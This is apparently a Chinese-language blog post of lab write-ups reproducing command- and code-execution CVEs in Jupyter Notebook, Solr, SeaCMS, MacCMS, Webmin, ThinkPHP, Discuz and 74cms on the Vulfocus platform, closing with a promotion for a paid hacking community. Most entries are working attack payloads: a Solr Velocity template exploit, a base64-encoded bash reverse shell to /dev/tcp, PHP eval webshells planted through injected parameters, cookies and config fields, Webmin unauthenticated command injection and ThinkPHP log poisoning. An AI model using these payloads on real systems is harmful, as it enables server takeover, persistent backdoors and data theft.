工作总结 / SUMMARY
命令、代码执行 | 目标 |
【漏洞复现-jupyter_notebook-命令执行】vulfocus/jupyter_notebook-cve_2019_9644 | 发现功能点上的命令执行 |
【漏洞复现-solr-命令执行】vulfocus/solr-cve_2019_17558 | 寻找模板(接口、配置文件)的命令执行漏洞 |
【漏洞复现-seaCms-命令执行】vulfocus/seacms-cnvd_2020_22721 | 写入可执行文件 |
【漏洞复现-maccms-命令执行】vulfocus/maccms-cve_2017_17733 | 参数中写入命令(加密) |
【漏洞复现-webmin-命令执行】vulfocus/webmin-cve_2019_15107 | 拼接执行命令 |
【漏洞复现-thinkphp-命令执行】vulfocus/thinkphp-3.2.x | 写入错误日志中 |
【漏洞复现-Discuz-代码执行】Discuz_CVE-2019-13956 | cookie中植入 |
【漏洞复现-骑士cms-代码执行】vulfocus/骑士cms_cve_2020_35339 | 后台配置中植入命令 |
jupyter_notebook-命令执行
vulfocus/jupyter_notebook-cve_2019_9644
一、靶场环境
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:43763
——————————————————————
1.2、知识:
1、测试功能点
(这种情况基本上很难遇到,但是不能忽略每一种可能)
——————————————————————
1.3、描述:
Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。
Jupyter Notebook可直接使用命令行执行任意命令。
#############################
二、漏洞验证
2.1、分析:
点击new---->terminal
(可能出现的问题:terminal无法打开,也就是一个空白页面【过几天再重启靶场就是好的了】)
打开控制台进行命令输入
solr-命令执行
vulfocus/solr-cve_2019_17558
一、靶场环境
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:28378
—————————————————————
1.2、知识:
1、API接口信息,配置文件
—————————————————————
1.3、描述:
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。
攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
###########################
二、漏洞验证
2.1、分析:
第一步:
访问特定url启用配置params.resource.loader.enabled,其中API路径包含core名称
访问
/solr/admin/cores?indexInfo=false&wt=json
第二步:
启用配置 params.resource.loader.enabled 为true
在url访问/solr/demo/config,bp抓包 改成POST然后修改启动配置
修改一:
改为POST请求
修改二:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
第三步:
注入Velocity模板即可执行任意命令
POC:
/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
URL中插入命令
############################
扩展:
使用bash来反弹shell【但Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法】
需要进行一次base64编码绕过
bash -i >& /dev/tcp/ip/port 0>&1
%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D
组合
bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D}|{base64%2C-d}|{bash%2C-i}
seaCms-命令执行
vulfocus/seacms-cnvd_2020_22721
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:31853
123.58.224.8:8589
123.58.224.8:8589
编辑
1.2、知识:
1、审计
寻找用户可控参数,且存在对用户输入没有或处理不完全情况,直接写入文件,攻击者可利用该漏洞执行恶意代码,获取服务器权限
2、环境
将php后门代码写入到是php的文件里面,然后再连接该php文件
1.3、描述:
在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限
2.1、分析:
题目提示:
后台路径:/manager 后台密码:admin:admin
点击系统---->后台ip安全设置
点击确认,并抓包
v=0&ip=+11111111111";eval($_POST[1]);//
POST提交的数据中写入后门连接代码
回显正常
访问写入的页面
http://123.58.224.8:44871/manager/admin_ip.php
(也回显正常)
后门连接
http://123.58.224.8:44871/manager/admin_ip.php
2.4、解题:
maccms-命令执行
vulfocus/maccms-cve_2017_17733
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:63722
123.58.224.8:51161
123.58.224.8:51161
1.2、知识:
1、可控参数
(审计)
2、fputs()函数
函数写入文件(可安全用于二进制文件),fputs() 函数是 fwrite() 函数的别名
fputs(file,string,length)
参数 描述 file 必需。规定要写入的打开文件。 string 必需。规定要写入文件的字符串。 length 可选。规定要写入的最大字节数。 3、fopen() 函数
打开文件或者 URL,如果打开失败,本函数返回 FALSE
fopen(filename,mode,include_path,context)
参数 描述 filename 必需。规定要打开的文件或 URL。 mode 必需。规定要求到该文件/流的访问类型(值见下表) include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。 context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
mode 说明 "r" 只读方式打开,将文件指针指向文件头。 "r+" 读写方式打开,将文件指针指向文件头。 "w" 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 "w+" 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 "a" 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 "a+" 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 "x" 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。
这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
"x+" 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。
这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
4、base64_decode
对使用 MIME base64 编码的数据进行解码
base64_decode(string $data, bool $strict = false): string
如base64_decode($str)
1.3、描述:
远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令
2.1、分析:
漏洞点
http://ip:port/index.php?m=vod-search
在此页面抓包
修改一:
改为POST请求
修改二:
添加POST提交的数据
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
c.php密码c
后门代码写入的URL地址
http://ip:port/c.php
连接后门
2.4、解题:
webmin-命令执行
vulfocus/webmin-cve_2019_15107
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:36915
提示使用https进行连接
https://123.58.224.8:36915
1.2、知识:
1、寻找无需身份验证点
(得先有账号)
使用bp的插件工具进行测试
1.3、描述:
Webmin <= 1.920
找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞,攻击者即可发送POST请求在目标系统中执行任意系统命令,且无需身份验证
2.1、分析:
抓任意包(我抓的点击登陆时的包)
修改一:
修改请求地址
POST /password_change.cgi HTTP/1.1
修改二:
POST提交的数据
user=rootxx&pam=&expired=2&old=test|ls+/tmp&new1=test2&new2=test2
2.4、解题:
thinkphp-命令执行
vulfocus/thinkphp-3.2.x
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:62651
123.58.224.8:53137
123.58.224.8:53137
(是个空白页面)
1.2、知识:
1、Log记录目录(日期格式)
开启debug模式日志保存在:\Application\Runtime\Logs\Home\
未开启debug模式日志保存在:\Application\Runtime\Logs\Common\
2、路径
上传恶意代码到服务器上,需包含其文件相对或绝对路径
/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]
3、PHP代码写法
<?=phpinfo();?>
<?=system(ls /tmp);?>
4、日志记录
如果状态码200,就不会记录在日志中,要错误状态码(如404)
可能错误的记录地方有多个,如请求头中的UA、请求地址等
2.1、分析:
抓包
报错,可以尝试写入日志里面
方法一:
(我测试失败了)
写入命令ls /tmp
GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1
GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1报错了,就写入日志了
访问日志(22_10_14年月日)
http://ip:port/Application/Runtime/Logs/Common/22_10_14.log
POC:
http://ip:port/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log
方法二:
直接写入phpinfo
(和上面基本上一样)
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1访问日志
http://ip:port/Application/Runtime/Logs/Common/22_10_14.log
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log
2.4、解题:
Discuz-代码执行
Discuz_CVE-2019-13956
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:30299
1.2、知识:
1、审计
language可控,程序从cookie中获取language的值作为缓存文件名的一部分,且被include_once包含,构成命令执行漏洞
'./data/temlpate/'.'sc'.phpinfo().''_'
2、file_put_contents('文件名.php','写入文件里面的后门代码')
1.3、描述:
允许远程通过修改过的语言 cookie 执行任意 PHP 代码,如将 xxxx_xxxx_language=en 更改为 xxxx_xxxx_language=en'.phpinfo().' 所示;(如果使用了随机前缀 xxxx_xxxx_)
2.1、分析:
一直下一步,同意,啥的
点击访问,与此同时,使用bp抓包
数据包中cookie中的language时漏洞点
随便往其中的一个地方插入语句
'.phpinfo().'
发现回显了flag
在代理上修改后放包
其他方法:
写入后门文件
'.file_put_contents('shell.php','<?php eval($_POST['pw']);?>').'
(我测试的时候,是会有关键字过滤的)
服务器会自动解码一次,我们就需要进行2次URL编码,来进行绕过
2.4、解题:
骑士cms-代码执行
vulfocus/骑士cms_cve_2020_35339
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:57171
123.58.224.8:36168
123.58.224.8:36168
1.2、知识:
1、配置文件错误配置(审计)
此题漏洞点在配置文件,且配置文件是php后缀
2、php语句
应该让写入的代码为php语言执行,而不是字符串。可以使用‘闭合,再用,使其独立
(还得考虑是否被过滤了)
1.3、描述:
管理后台由于过滤不严谨,可以向配置文件写入恶意代码导致任意代码执行
2.1、分析
在URL后面加上/index.php?m=Admin
(访问后台)
题目提示:账号密码均为
adminadmin
插入PHPinfo()
http://127.0.0.1/.',phpinfo(),'/.com
刷新页面后,又回到了后台登陆页面
现在一登陆进去就是这个页面了
写入后门连接代码
http://127.0.0.1/.',eval($_POST['pass']),'/.com
点击保存修改
刷新页面后,又回到了后台登陆页面
http://123.58.224.8:61983/index.php?m=Admin&c=index&a=login
2.4、解题:
或者
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读